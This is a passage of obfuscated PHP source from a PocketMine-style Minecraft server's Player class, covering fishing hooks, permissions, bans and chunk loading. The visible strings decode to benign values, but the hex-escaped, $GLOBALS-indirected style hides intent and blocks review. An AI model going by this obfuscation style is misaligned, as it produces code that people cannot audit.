pocketmine\network\protocol\SetEntityDataPacket;use pocketmine\network\protocol\SetHealthPacket;use pocketmine\network\protocol\SetSpawnPositionPacket;use pocketmine\network\protocol\SetTimePacket;use pocketmine\network\protocol\StartGamePacket;use pocketmine\network\protocol\SetPlayerGameTypePacket;use pocketmine\network\protocol\TakeItemEntityPacket;use pocketmine\network\protocol\TextPacket;use pocketmine\network\protocol\UpdateAttributesPacket;use pocketmine\network\protocol\UpdateBlockPacket;use pocketmine\network\SourceInterface;use pocketmine\permission\PermissibleBase;use pocketmine\permission\PermissionAttachment;use pocketmine\plugin\Plugin;use pocketmine\tile\ItemFrame;use pocketmine\tile\Sign;use pocketmine\tile\Spawnable;use pocketmine\tile\Tile;use pocketmine\utils\BinaryStream;use pocketmine\utils\TextFormat;use pocketmine\utils\UUID;use raklib\Binary;class Player extends Human implements CommandSender,InventoryHolder,ChunkLoader,IPlayer{const SURVIVAL=0;const CREATIVE=1;const ADVENTURE=2;const SPECTATOR=3;const VIEW=Player::SPECTATOR;const CRAFTING_SMALL=0;const CRAFTING_BIG=1;const CRAFTING_ANVIL=2;const CRAFTING_ENCHANT=3;protected$interface;public$playedBefore=false;public$spawned=false;public$loggedIn=false;public$gamemode;public$lastBreak;protected$windowCnt=2;protected$windows;protected$windowIndex=[];public$loginData=[];protected$messageCounter=2;protected$sendIndex=0;private$clientSecret;public$speed=null;public$blocked=false;public$achievements=[];public$lastCorrect;public$craftingType=self::CRAFTING_SMALL;protected$isCrafting=false;public$creationTime=0;protected$randomClientId;protected$protocol;public static$staticProtocol;protected$lastMovement=0;protected$forceMovement=null;protected$teleportPosition=null;protected$connected=true;protected$ip;protected$removeFormat=false;protected$port;protected$username;protected$iusername;protected$displayName;protected$startAction=-1;protected$sleeping=null;protected$clientID=null;private$loaderId=null;protected$stepHeight=0.6;public$usedChunks=[];protected$chunkLoadCount=0;protected$loadQueue=[];protected$nextChunkOrderRun=5;protected$hiddenPlayers=[];protected$newPosition;protected$viewDistance;protected$chunksPerTick;protected$spawnThreshold;protected$spawnPosition=null;protected$inAirTicks=0;protected$startAirTicks=5;protected$autoJump=true;protected$allowFlight=false;private$needACK=[];private$batchedPackets=[];private$perm=null;public$weatherData=[0,0,0];public$fromPos=null;private$portalTime=0;protected$shouldSendStatus=false;private$shouldResPos;public$fishingHook=null;public$selectedPos=[];public$selectedLev=[];protected$personalCreativeItems=[];protected$ping=0;public function setPing(int$ping){${"G\x4c\x4fB\x41L\x53"}["\x68\x77\x76a\x70ll\x6f\x75\x79"]="\x70\x69\x6eg";return$this->ping=${${"G\x4c\x4fB\x41\x4c\x53"}["\x68\x77\x76a\x70l\x6c\x6f\x75\x79"]};}public function getPing(){return$this->ping;}public function linkHookToPlayer(FishingHook$entity){if($entity->isAlive()){${"G\x4c\x4fB\x41\x4cS"}["\x6d\x6ck\x67\x66\x68j\x66"]="\x65\x6et\x69\x74y";${"\x47\x4cO\x42\x41L\x53"}["kye\x69y\x79b"]="p\x6b";${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x74\x65\x64\x6b\x70\x73\x79\x77"]="\x70k";$this->setFishingHook(${${"\x47\x4cO\x42\x41\x4c\x53"}["\x6dlk\x67\x66\x68jf"]});${${"\x47\x4cOB\x41LS"}["\x74edkp\x73\x79\x77"]}=new EntityEventPacket();$pk->eid=$this->getFishingHook()->getId();$pk->event=EntityEventPacket::FISH_HOOK_POSITION;$this->server->broadcastPacket($this->level->getPlayers(),${${"\x47\x4cOB\x41L\x53"}["\x6b\x79e\x69y\x79\x62"]});return true;}return false;}public function unlinkHookFromPlayer(){if($this->fishingHook instanceof FishingHook){${"\x47\x4c\x4fBA\x4c\x53"}["\x6d\x67\x6am\x75zc"]="p\x6b";${${"G\x4c\x4f\x42A\x4c\x53"}["\x6d\x67\x6a\x6d\x75z\x63"]}=new EntityEventPacket();$pk->eid=$this->fishingHook->getId();$pk->event=EntityEventPacket::FISH_HOOK_TEASE;$this->server->broadcastPacket($this->level->getPlayers(),${${"\x47\x4cO\x42\x41\x4cS"}["\x6f\x7a\x7a\x79\x77\x73\x72\x73\x73q"]});$this->setFishingHook();return true;}return false;}public function isFishing(){return($this->fishingHook instanceof FishingHook);}public function getFishingHook(){return$this->fishingHook;}public function setFishingHook(FishingHook$entity=null){${"\x47\x4c\x4f\x42\x41\x4c\x53"}["w\x6d\x6b\x72\x64\x6eprm"]="\x65\x6e\x74i\x74\x79";$xcwnxxamvfd="e\x6etit\x79";if(${${"\x47\x4c\x4fBALS"}["\x77\x6d\x6b\x72\x64n\x70\x72\x6d"]}==null and$this->fishingHook instanceof FishingHook){$this->fishingHook->close();}$this->fishingHook=${$xcwnxxamvfd};}public function getItemInHand(){return$this->inventory->getItemInHand();}public function getLeaveMessage(){return new TranslationContainer(TextFormat::YELLOW."%m\x75l\x74iplay\x65\x72\x2epl\x61\x79er\x2e\x6ce\x66\x74",[$this->getDisplayName()]);}public function setExperienceAndLevel(int$exp,int$level){trigger_error("T\x68\x69\x73 me\x74ho\x64 \x69s \x64\x65\x70\x72ec\x61\x74\x65d, \x64o\x20no\x74 \x75\x73e \x69t",E_USER_DEPRECATED);return$this->setTotalXp(self::getTotalXpRequirement(${${"\x47\x4cO\x42\x41L\x53"}["\x6dqg\x70\x71\x66f\x73s"]})+${${"GLOBAL\x53"}["\x71\x71hv\x74\x68\x77\x6a"]});}public function setExp(int$exp){trigger_error("Th\x69s\x20m\x65\x74\x68\x6fd\x20i\x73\x20d\x65\x70r\x65\x63ated, \x64\x6f n\x6ft u\x73e\x20i\x74",E_USER_DEPRECATED);${"\x47\x4c\x4fB\x41LS"}["\x73\x6c\x6ap\x64\x68"]="\x65\x78\x70";return$this->setTotalXp(${${"G\x4cO\x42\x41\x4c\x53"}["\x73lj\x70\x64\x68"]});}public function setExpLevel(int$level){trigger_error("\x54h\x69\x73 m\x65\x74\x68\x6f\x64\x20i\x73\x20d\x65\x70\x72\x65\x63a\x74e\x64, \x64\x6f\x20\x6e\x6ft u\x73e it",E_USER_DEPRECATED);return$this->setXpLevel(${${"\x47\x4c\x4f\x42\x41\x4cS"}["mq\x67p\x71\x66\x66s\x73"]});}public function getExpectedExperience(){trigger_error("T\x68i\x73\x20m\x65t\x68o\x64\x20\x69s d\x65\x70\x72\x65\x63\x61\x74\x65\x64, \x64o \x6eo\x74 us\x65 \x69t",E_USER_DEPRECATED);return self::getTotalXpRequirement($this->getXpLevel()+1);}public function getLevelUpExpectedExperience(){trigger_error("Th\x69\x73\x20met\x68\x6f\x64 \x69\x73 d\x65\x70\x72\x65\x63a\x74\x65d, \x64o \x6e\x6ft\x20u\x73\x65 \x69t",E_USER_DEPRECATED);return self::getLevelXpRequirement($this->getXpLevel()+1);}public function calcExpLevel(){trigger_error("\x54h\x69\x73 \x6d\x65\x74hod \x69\x73 \x64\x65\x70re\x63a\x74\x65d, do \x6e\x6ft\x20u\x73e\x20i\x74",E_USER_DEPRECATED);}public function addExperience(int$exp){$lrcfbppdcv="ex\x70";trigger_error("\x54\x68\x69s\x20me\x74\x68\x6fd \x69s\x20de\x70\x72e\x63\x61t\x65d, d\x6f \x6e\x6f\x74 u\x73\x65\x20it",E_USER_DEPRECATED);return$this->addXp(${$lrcfbppdcv});}public function addExpLevel(int$level){trigger_error("T\x68\x69\x73\x20\x6det\x68\x6f\x64 \x69s d\x65p\x72ec\x61\x74\x65\x64,\x20do \x6e\x6ft\x20use \x69\x74",E_USER_DEPRECATED);return$this->addXpLevel(${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x6dq\x67p\x71f\x66\x73\x73"]});}public function getExp(){trigger_error("T\x68is\x20\x6d\x65th\x6fd\x20\x69\x73 dep\x72ecat\x65\x64, \x64\x6f\x20\x6eo\x74 us\x65\x20\x69t",E_USER_DEPRECATED);return$this->getTotalXp();}public function getExpLevel(){trigger_error("T\x68\x69\x73\x20me\x74h\x6f\x64 \x69s depre\x63\x61\x74e\x64, \x64o\x20not \x75se\x20i\x74",E_USER_DEPRECATED);return$this->getXpLevel();}public function canPickupExp():bool{trigger_error("\x54\x68\x69\x73\x20me\x74\x68\x6f\x64\x20i\x73\x20de\x70re\x63\x61\x74e\x64, do n\x6f\x74 \x75s\x65 it",E_USER_DEPRECATED);return$this->canPickupXp();}public function resetExpCooldown(){trigger_error("\x54\x68i\x73\x20\x6d\x65t\x68\x6fd\x20is\x20\x64e\x70re\x63ate\x64, \x64o\x20no\x74\x20\x75se\x20i\x74",E_USER_DEPRECATED);$this->resetXpCooldown();}public function updateExperience(){trigger_error("This m\x65\x74\x68\x6fd i\x73\x20de\x70\x72e\x63\x61te\x64,\x20d\x6f\x20no\x74 \x75\x73e\x20\x69\x74",E_USER_DEPRECATED);}public function getClientId(){return$this->randomClientId;}public function getClientSecret(){return$this->clientSecret;}public function isBanned(){return$this->server->getNameBans()->isBanned(strtolower($this->getName()));}public function setBanned($value){${"\x47\x4c\x4fB\x41LS"}["dvf\x62n\x6c\x75b\x65\x69h"]="va\x6c\x75e";if(${${"\x47L\x4fB\x41\x4c\x53"}["d\x76f\x62\x6e\x6c\x75\x62\x65\x69h"]}===true){$this->server->getNameBans()->addBan($this->getName(),null,null,null);$this->kick(TextFormat::RED."Y\x6f\x75 ha\x76e\x20be\x65\x6e\x20ba\x6ened");}else{$this->server->getNameBans()->remove($this->getName());}}public function isWhitelisted():bool{return$this->server->isWhitelisted(strtolower($this->getName()));}public function setWhitelisted($value){$kttsnho="\x76\x61lu\x65";if(${$kttsnho}===true){$this->server->addWhitelist(strtolower($this->getName()));}else{$this->server->removeWhitelist(strtolower($this->getName()));}}public function getPlayer(){return$this;}public function getFirstPlayed(){return$this->namedtag instanceof CompoundTag?$this->namedtag["fi\x72\x73\x74Pl\x61\x79ed"]:null;}public function getLastPlayed(){return$this->namedtag instanceof CompoundTag?$this->namedtag["l\x61st\x50\x6c\x61y\x65\x64"]:null;}public function hasPlayedBefore(){return$this->playedBefore;}public function setAllowFlight($value){$this->allowFlight=(bool)${${"\x47L\x4f\x42\x41\x4c\x53"}["l\x61lxh\x72\x70\x64\x63i\x71p"]};$this->sendSettings();}public function getAllowFlight():bool{return$this->allowFlight;}public function setAutoJump($value){$this->autoJump=${${"\x47\x4cOBA\x4c\x53"}["\x6cal\x78\x68rp\x64\x63i\x71\x70"]};$this->sendSettings();}public function hasAutoJump():bool{return$this->autoJump;}public function spawnTo(Player$player){if($this->spawned and$player->spawned and$this->isAlive()and$player->isAlive()and$player->getLevel()===$this->level and$player->canSee($this)and!$this->isSpectator()){${"\x47\x4cOB\x41L\x53"}["\x6b\x6d\x72\x77\x6b\x6b\x6e\x6f\x66\x70\x6d"]="\x70l\x61\x79\x65\x72";parent::spawnTo(${${"\x47L\x4f\x42\x41\x4c\x53"}["\x6bmr\x77\x6bk\x6e\x6f\x66\x70\x6d"]});}}public function getServer(){return$this->server;}public function getRemoveFormat(){return$this->removeFormat;}public function setRemoveFormat($remove=true){$etetlbolg="r\x65\x6d\x6f\x76e";$this->removeFormat=(bool)${$etetlbolg};}public function canSee(Player$player):bool{return!isset($this->hiddenPlayers[$player->getRawUniqueId()]);}public function hidePlayer(Player$player){$nxcdrxog="\x70\x6c\x61y\x65\x72";if(${$nxcdrxog}===$this){return;}$this->hiddenPlayers[$player->getRawUniqueId()]=${${"\x47\x4cO\x42\x41L\x53"}["\x71\x6eh\x6d\x72\x68q\x6e\x67gr"]};$player->despawnFrom($this);}public function showPlayer(Player$player){${"\x47\x4cO\x42\x41\x4c\x53"}["\x65\x6e\x6cu\x63\x76yg\x71u\x6a\x71"]="\x70\x6c\x61\x79\x65r";if(${${"G\x4c\x4fB\x41\x4c\x53"}["en\x6c\x75cvy\x67quj\x71"]}===$this){return;}unset($this->hiddenPlayers[$player->getRawUniqueId()]);if($player->isOnline()){$player->spawnTo($this);}}public function canCollideWith(Entity$entity):bool{return false;}public function resetFallDistance(){parent::resetFallDistance();if($this->inAirTicks!==0){$this->startAirTicks=5;}$this->inAirTicks=0;}public function isOnline():bool{return$this->connected===true and$this->loggedIn===true;}public function isOp():bool{return$this->server->isOp($this->getName());}public function setOp($value){if(${${"G\x4c\x4f\x42\x41\x4cS"}["\x6cal\x78\x68\x72\x70\x64c\x69q\x70"]}===$this->isOp()){return;}if(${${"G\x4c\x4fB\x41\x4c\x53"}["\x6c\x61\x6c\x78\x68\x72\x70d\x63\x69\x71\x70"]}===true){$this->server->addOp($this->getName());}else{$this->server->removeOp($this->getName());}$this->recalculatePermissions();}public function isPermissionSet($name){return$this->perm->isPermissionSet(${${"\x47LO\x42\x41\x4cS"}["\x71qj\x69\x71\x67\x65\x63\x63\x62h"]});}public function hasPermission($name):bool{$egeglqwiw="\x6e\x61\x6d\x65";if($this->perm==null)return false;else return$this->perm->hasPermission(${$egeglqwiw});}public function addAttachment(Plugin$plugin,$name=null,$value=null){${"\x47\x4c\x4f\x42\x41L\x53"}["\x6f\x6e\x76\x67ck\x77\x76\x62mk"]="\x70l\x75\x67\x69n";if($this->perm==null)return false;return$this->perm->addAttachment(${${"G\x4cOB\x41L\x53"}["\x6f\x6e\x76\x67\x63\x6b\x77v\x62m\x6b"]},${${"\x47\x4cO\x42ALS"}["q\x71\x6aiq\x67e\x63\x63\x62\x68"]},${${"\x47\x4c\x4fB\x41L\x53"}["l\x61\x6c\x78\x68r\x70dci\x71\x70"]});}public function removeAttachment(PermissionAttachment$attachment){$pifxpswcisy="\x61\x74\x74ac\x68\x6d\x65n\x74";if($this->perm==null){return false;}$this->perm->removeAttachment(${$pifxpswcisy});return true;}public function recalculatePermissions(){$this->server->getPluginManager()->unsubscribeFromPermission(Server::BROADCAST_CHANNEL_USERS,$this);$this->server->getPluginManager()->unsubscribeFromPermission(Server::BROADCAST_CHANNEL_ADMINISTRATIVE,$this);if($this->perm===null){return;}$this->perm->recalculatePermissions();if($this->hasPermission(Server::BROADCAST_CHANNEL_USERS)){$this->server->getPluginManager()->subscribeToPermission(Server::BROADCAST_CHANNEL_USERS,$this);}if($this->hasPermission(Server::BROADCAST_CHANNEL_ADMINISTRATIVE)){$this->server->getPluginManager()->subscribeToPermission(Server::BROADCAST_CHANNEL_ADMINISTRATIVE,$this);}}public function getEffectivePermissions(){return$this->perm->getEffectivePermissions();}public function __construct(SourceInterface$interface,$clientID,$ip,$port){$this->interface=${${"G\x4c\x4fB\x41LS"}["\x62\x72c\x71\x78r\x6d\x63z\x65n"]};$this->windows=new\SplObjectStorage();$this->perm=new PermissibleBase($this);${"\x47\x4c\x4f\x42\x41\x4cS"}["c\x6bm\x77\x66\x65x"]="\x69\x70";$nmpplo="\x70\x6frt";$this->namedtag=new CompoundTag();$this->server=Server::getInstance();${"GL\x4fBA\x4cS"}["\x70\x6f\x71fi\x77\x77d\x77\x72"]="c\x6c\x69\x65n\x74\x49D";$this->lastBreak=PHP_INT_MAX;$this->ip=${${"G\x4c\x4f\x42ALS"}["\x63\x6b\x6dw\x66\x65\x78"]};$this->port=${$nmpplo};$this->clientID=${${"G\x4c\x4fB\x41\x4cS"}["po\x71f\x69\x77w\x64\x77\x72"]};$this->loaderId=Level::generateChunkLoaderId($this);$this->chunksPerTick=(int)$this->server->getProperty("c\x68un\x6b-s\x65nd\x69ng.p\x65\x72-\x74\x69\x63\x6b",4);$this->spawnThreshold=(int)$this->server->getProperty("\x63h\x75\x6e\x6b-\x73e\x6e\x64i\x6e\x67.\x73\x70\x61\x77n-\x74h\x72\x65\x73\x68o\x6c\x64",56);$this->spawnPosition=null;$this->gamemode=$this->server->getGamemode();$this->setLevel($this->server->getDefaultLevel());$this->viewDistance=$this->server->getViewDistance();$this->newPosition=new Vector3(0,0,0);$this->boundingBox=new AxisAlignedBB(0,0,0,0,0,0);$this->uuid=null;$this->rawUUID=null;$this->creationTime=microtime(true);$this->exp=0;$this->expLevel=0;$this->food=20;Entity::setHealth(20);}public function isConnected():bool{return$this->connected===true;}public function getDisplayName(){return$this->displayName;}public function setDisplayName($name){$this->displayName=${${"\x47\x4cO\x42\x41\x4c\x53"}["\x71\x71\x6a\x69\x71g\x65cc\x62\x68"]};if($this->spawned){$this->server->updatePlayerListData($this->getUniqueId(),$this->getId(),$this->getDisplayName(),$this->getSkinId(),$this->getSkinData());}}public function setSkin($str,$skinId){${"\x47\x4c\x4f\x42\x41L\x53"}["\x65\x73\x6e\x73x\x72hkj"]="\x73k\x69\x6eI\x64";parent::setSkin(${${"\x47\x4c\x4f\x42A\x4c\x53"}["\x6c\x76\x71\x67\x6b\x73\x66"]},${${"\x47\x4cO\x42\x41\x4cS"}["\x65s\x6e\x73\x78\x72\x68k\x6a"]});if($this->spawned){$teadskfphowl="sk\x69\x6eI\x64";$this->server->updatePlayerListData($this->getUniqueId(),$this->getId(),$this->getDisplayName(),${$teadskfphowl},${${"\x47\x4cO\x42A\x4c\x53"}["\x6cv\x71\x67ks\x66"]});}}public function getAddress():string{return$this->ip;}public function getPort():int{return$this->port;}public function getNextPosition(){return$this->newPosition!==null?new Position($this->newPosition->x,$this->newPosition->y,$this->newPosition->z,$this->level):$this->getPosition();}public function isSleeping():bool{return$this->sleeping!==null;}public function getInAirTicks(){return$this->inAirTicks;}protected function switchLevel(Level$targetLevel){${"\x47\x4c\x4fBA\x4cS"}["\x63r\x6c\x75k\x66cj"]="\x6f\x6c\x64Le\x76\x65\x6c";${${"\x47\x4cO\x42\x41\x4cS"}["\x63\x72l\x75\x6bf\x63j"]}=$this->level;if(parent::switchLevel(${${"\x47\x4c\x4fB\x41\x4c\x53"}["\x62\x70b\x64t\x6cmm\x69i\x70\x62"]})){${"\x47\x4c\x4fBA\x4c\x53"}["\x65\x6cq\x74ap\x67\x6c\x6f\x6e\x75"]="\x69nd\x65x";${"\x47\x4cOBAL\x53"}["\x67uf\x75\x71t\x6c"]="\x64";${"\x47\x4c\x4f\x42\x41LS"}["\x71\x74\x7a\x6aaj\x65m\x62\x73"]="p\x6b";foreach($this->usedChunks as${${"\x47LO\x42\x41\x4cS"}["\x65\x6cq\x74\x61p\x67\x6co\x6eu"]}=>${${"\x47\x4c\x4f\x42A\x4c\x53"}["\x67uf\x75\x71t\x6c"]}){$izibdhpug="\x5a";Level::getXZ(${${"G\x4c\x4fB\x41\x4cS"}["\x75\x73p\x71x\x74m\x6f\x72\x73"]},${${"\x47\x4c\x4f\x42\x41\x4cS"}["rb\x6dfj\x77f\x6e\x63mxp"]},${$izibdhpug});$this->unloadChunk(${${"\x47\x4c\x4f\x42\x41\x4cS"}["\x72\x62m\x66\x6a\x77f\x6e\x63mx\x70"]},${${"\x47\x4cOB\x41\x4c\x53"}["\x74x\x64\x70\x6d\x75l\x6f\x79j"]},${${"\x47\x4c\x4fBALS"}["fq\x7a\x76br\x6e\x67\x7a\x73"]});}$this->usedChunks=[];${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x71tzj\x61\x6a\x65mb\x73"]}=new SetTimePacket();$gbakurwg="\x70\x6b";$pk->time=$this->level->getTime();$pk->started=$this->level->stopTime==false;$this->dataPacket(${$gbakurwg});if($targetLevel->getDimension()!=$oldLevel->getDimension()){$ngflmle="pk";$flplkkjgy="\x70k";${$ngflmle}=new ChangeDimensionPacket();$pk->dimension=$targetLevel->getDimension();$pk->x=$this->x;$pk->y=$this->y;$pk->z=$this->z;$this->dataPacket(${$flplkkjgy});$this->shouldSendStatus=true;}$targetLevel->getWeather()->sendWeather($this);if($this->spawned){$this->spawnToAll();}}}private function unloadChunk($x,$z,Level$level=null){${"\x47\x4c\x4fBA\x4c\x53"}["\x69\x77\x70\x63\x62\x74\x6a\x6f\x72"]="\x6c\x65vel";${"G\x4cO\x42\x41L\x53"}["\x79\x67i\x71\x6aih"]="\x78";${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x6ep\x75h\x6bgp\x71\x73\x61\x69"]="\x7a";$wvvbgcgjvqnx="i\x6e\x64\x65\x78";${"G\x4c\x4f\x42\x41\x4cS"}["\x74\x61\x6e\x64\x6b\x70\x6ci\x67\x66"]="i\x6e\x64e\x78";${${"\x47\x4cO\x42A\x4c\x53"}["i\x77\x70\x63b\x74jo\x72"]}=${${"G\x4c\x4f\x42A\x4c\x53"}["mq\x67\x70\x71\x66f\x73s"]}===null?$this->level:${${"\x47\x4cOBA\x4cS"}["\x6d\x71\x67\x70q\x66fss"]};${$wvvbgcgjvqnx}=Level::chunkHash(${${"GL\x4f\x42A\x4c\x53"}["ygi\x71\x6a\x69h"]},${${"\x47LO\x42\x41\x4c\x53"}["q\x64\x71\x64\x71\x74\x63"]});$kselbioe="\x69n\x64\x65\x78";if(isset($this->usedChunks[${${"GLOBA\x4c\x53"}["tan\x64k\x70l\x69\x67f"]}])){$vxlkxgdmybl="\x7a";$aciguaod="ind\x65\x78";${"\x47L\x4f\x42\x41\x4cS"}["\x6bjg\x76\x68\x75"]="\x78";foreach($level->getChunkEntities(${${"\x47\x4c\x4f\x42\x41LS"}["kj\x67\x76h\x75"]},${$vxlkxgdmybl})as${${"\x47L\x4f\x42\x41\x4c\x53"}["\x79ie\x77j\x62r\x74\x6fr\x76u"]}){if(${${"\x47\x4c\x4fB\x41\x4c\x53"}["\x79\x69\x65w\x6a\x62r\x74\x6f\x72\x76u"]}!==$this){$entity->despawnFrom($this);}}unset($this->usedChunks[${$aciguaod}]);}$level->unregisterChunkLoader($this,${${"\x47L\x4f\x42A\x4c\x53"}["\x62\x66\x6b\x6c\x75n\x69"]},${${"\x47\x4c\x4f\x42\x41\x4cS"}["n\x70\x75\x68\x6b\x67\x70q\x73\x61\x69"]});unset($this->loadQueue[${$kselbioe}]);}public function getSpawn():Position{if($this->spawnPosition instanceof Position and$this->spawnPosition->getLevel()instanceof Level){return$this->spawnPosition;}else{${${"\x47\x4cOBA\x4cS"}["m\x71\x67\x70\x71ff\x73\x73"]}=$this->server->getDefaultLevel();return$level->getSafeSpawn();}}public function sendChunk($x,$z,$payload,$ordering=FullChunkDataPacket::ORDER_COLUMNS){${"G\x4cO\x42\x41\x4c\x53"}["t\x6e\x6c\x66\x62\x69\x6d\x76e"]="\x78";if($this->connected===false){return;}$this->usedChunks[Level::chunkHash(${${"\x47\x4cO\x42\x41\x4c\x53"}["t\x6e\x6cf\x62\x69m\x76e"]},${${"\x47\x4cOB\x41LS"}["\x71\x64q\x64\x71\x74\x63"]})]=true;$this->chunkLoadCount++;if($this->getProtocol()==84){${${"G\x4c\x4f\x42A\x4cS"}["\x6f\x7a\x7a\x79\x77\x73\x72\x73\x73\x71"]}=new FullChunkDataPacket();$pk->chunkX=$payload->chunkX;$pk->chunkZ=$payload->chunkZ;$pk->order=$payload->order;$pk->data=$payload->data;if(Network::${${"GLO\x42AL\x53"}["mk\x77z\x73ez\x71"]}>=0){$pk->encode();${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["fj\x77\x68\x72\x6c\x6a\x6f"]}=new BatchPacket();$batch->payload=zlib_encode(Binary::writeInt(strlen($pk->getBuffer())).$pk->getBuffer(),ZLIB_ENCODING_DEFLATE,Server::getInstance()->networkCompressionLevel);$qdnyxfoysxw="\x62\x61tch";$batch->encode();$batch->isEncoded=true;$this->dataPacket(${$qdnyxfoysxw});}else{$this->dataPacket(${${"\x47\x4cOBAL\x53"}["\x6f\x7a\x7a\x79wsr\x73s\x71"]});}}else if(AnyVersionManager::isProtocol($this,"\x30\x2e\x31\x34")){${${"GL\x4fB\x41\x4cS"}["\x6f\x7a\x7ay\x77\x73\x72s\x73\x71"]}=new\pocketmine\network\protocol\p70\FullChunkDataPacket();${"G\x4cOB\x41\x4c\x53"}["\x68v\x78e\x65x\x78"]="\x62atc\x68";$pk->chunkX=$payload->chunkX;$pk->chunkZ=$payload->chunkZ;$pk->order=$payload->order;$pk->data=$payload->data;$pk->encode();${${"\x47\x4c\x4fBA\x4cS"}["\x66\x6aw\x68\x72l\x6a\x6f"]}=new BatchPacket();$batch->payload=\zlib_encode(pack("\x4e",\strlen($pk->getBuffer())).$pk->getBuffer(),ZLIB_ENCODING_DEFLATE,Server::getInstance()->networkCompressionLevel);$batch->encode();$batch->isEncoded=\true;$this->dataPacket(${${"\x47LO\x42\x41L\x53"}["\x68v\x78\x65e\x78x"]});}if($this->spawned){$rfnefexr="\x7a";foreach($this->level->getChunkEntities(${${"GL\x4fB\x41LS"}["\x62\x66\x6b\x6cu\x6e\x69"]},${$rfnefexr})as${${"GL\x4f\x42\x41L\x53"}["yiew\x6a\x62\x72to\x72\x76\x75"]}){if(${${"\x47\x4c\x4fB\x41\x4c\x53"}["\x79ie\x77j\x62r\x74\x6f\x72v\x75"]}!==$this and!$entity->closed and$entity->isAlive()){$entity->spawnTo($this);}}}}protected function sendNextChunk(){${"\x47LO\x42\x41L\x53"}["\x65vtaxb\x63d\x79\x6f\x66\x76"]="\x63\x6f\x75\x6e\x74";$crvvbsscvbo="\x69\x6e\x64e\x78";if($this->connected===false){return;}Timings::$playerChunkSendTimer->startTiming();${${"\x47L\x4f\x42\x41L\x53"}["e\x76ta\x78\x62c\x64\x79\x6ff\x76"]}=0;foreach($this->loadQueue as${$crvvbsscvbo}=>${${"\x47\x4c\x4f\x42A\x4c\x53"}["\x72i\x62emce\x64\x78e\x73\x65"]}){$xpmkkeh="\x63\x6fu\x6e\x74";$rkgueveo="\x69nd\x65\x78";${"\x47LO\x42\x41LS"}["c\x62k\x62\x65\x63eoe\x67\x73"]="i\x6e\x64\x65\x78";$dneusdqn="\x5a";$rclquwkl="\x58";if(${${"\x47\x4cO\x42A\x4c\x53"}["\x63\x66\x72\x65\x6akk\x64"]}>=$this->chunksPerTick){break;}${"\x47L\x4fB\x41L\x53"}["xol\x69\x65\x6cso\x63\x6c\x75\x65"]="Z";${${"\x47LOB\x41L\x53"}["\x72\x62\x6d\x66\x6a\x77\x66\x6ecmxp"]}=null;${${"\x47\x4c\x4f\x42\x41L\x53"}["x\x6fli\x65ls\x6f\x63\x6c\x75\x65"]}=null;${"\x47\x4c\x4f\x42\x41LS"}["\x73\x68k\x7aw\x65"]="X";Level::getXZ(${${"\x47\x4cOB\x41LS"}["\x63bk\x62\x65c\x65\x6fegs"]},${${"GLO\x42\x41\x4c\x53"}["\x72\x62m\x66\x6aw\x66n\x63m\x78p"]},${${"GL\x4f\x42\x41\x4c\x53"}["\x74\x78\x64\x70m\x75\x6co\x79\x6a"]});++${$xpmkkeh};$this->usedChunks[${$rkgueveo}]=false;$this->level->registerChunkLoader($this,${${"\x47\x4cOB\x41\x4cS"}["\x73\x68k\x7a\x77\x65"]},${$dneusdqn},true);if(!$this->level->populateChunk(${${"G\x4cO\x42A\x4c\x53"}["\x72\x62\x6d\x66\x6aw\x66\x6ecm\x78\x70"]},${${"\x47\x4c\x4fB\x41L\x53"}["t\x78\x64\x70\x6d\x75\x6co\x79j"]})){if($this->spawned and$this->teleportPosition===null){continue;}else{break;}}unset($this->loadQueue[${${"\x47L\x4fB\x41\x4cS"}["\x75\x73\x70\x71xt\x6d\x6frs"]}]);$this->level->requestChunk(${$rclquwkl},${${"\x47LOBA\x4c\x53"}["tx\x64pm\x75\x6co\x79\x6a"]},$this);if((count($this->loadQueue)==0)and$this->shouldSendStatus){${"G\x4c\x4f\x42A\x4cS"}["t\x77\x67n\x75p\x64\x77"]="p\x6b";$kjfbluiwqbn="\x70k";$this->shouldSendStatus=false;${${"GL\x4fBA\x4c\x53"}["\x74\x77\x67nu\x70\x64\x77"]}=new PlayStatusPacket();$pk->status=PlayStatusPacket::PLAYER_SPAWN;$this->dataPacket(${$kjfbluiwqbn});}}if($this->chunkLoadCount>=$this->spawnThreshold and$this->spawned===false and$this->teleportPosition===null){$this->doFirstSpawn();}Timings::$playerChunkSendTimer->stopTiming();}protected function doFirstSpawn(){$this->spawned=true;$cetdfjb="\x70\x6b";$this->sendPotionEffects($this);$revcjod="\x70\x6b";$vlrgswkipuv="\x69\x6ed\x65\x78";$this->sendData($this);${"\x47L\x4fB\x41\x4c\x53"}["m\x73\x76e\x66k\x76\x76\x65v"]="\x70\x6b";${"\x47\x4c\x4f\x42A\x4cS"}["p\x69iup\x6f\x73\x73"]="\x70\x6f\x73";${"GLO\x42\x41L\x53"}["\x64\x77\x64\x62\x6fe\x63\x64"]="\x70\x6fs";${$cetdfjb}=new SetTimePacket();$zieqahudd="\x70\x6f\x73";$pk->time=$this->level->getTime();${"\x47\x4c\x4fB\x41\x4c\x53"}["h\x76uw\x74\x67f"]="po\x73";$pk->started=$this->level->stopTime==false;$this->dataPacket(${${"\x47\x4cO\x42A\x4c\x53"}["ms\x76\x65\x66k\x76\x76\x65v"]});$yvnknj="\x70\x6b";$ktbexshij="\x63";${${"\x47\x4c\x4f\x42\x41\x4cS"}["\x77\x78\x6f\x65\x68\x6dq\x62\x74\x67"]}=$this->level->getSafeSpawn($this);$this->server->getPluginManager()->callEvent(${${"G\x4cOB\x41\x4c\x53"}["\x71\x63\x66\x7av\x6c"]}=new PlayerRespawnEvent($this,${${"\x47\x4c\x4fB\x41L\x53"}["\x64\x77\x64\x62\x6f\x65\x63\x64"]}));${$zieqahudd}=$ev->getRespawnPosition();if($pos->getY()<127)${${"\x47LO\x42ALS"}["h\x76\x75\x77\x74\x67\x66"]}=$pos->add(0,0.2,0);${$revcjod}=new PlayStatusPacket();$pk->status=PlayStatusPacket::PLAYER_SPAWN;$this->dataPacket(${$yvnknj});$this->noDamageTicks=60;foreach($this->usedChunks 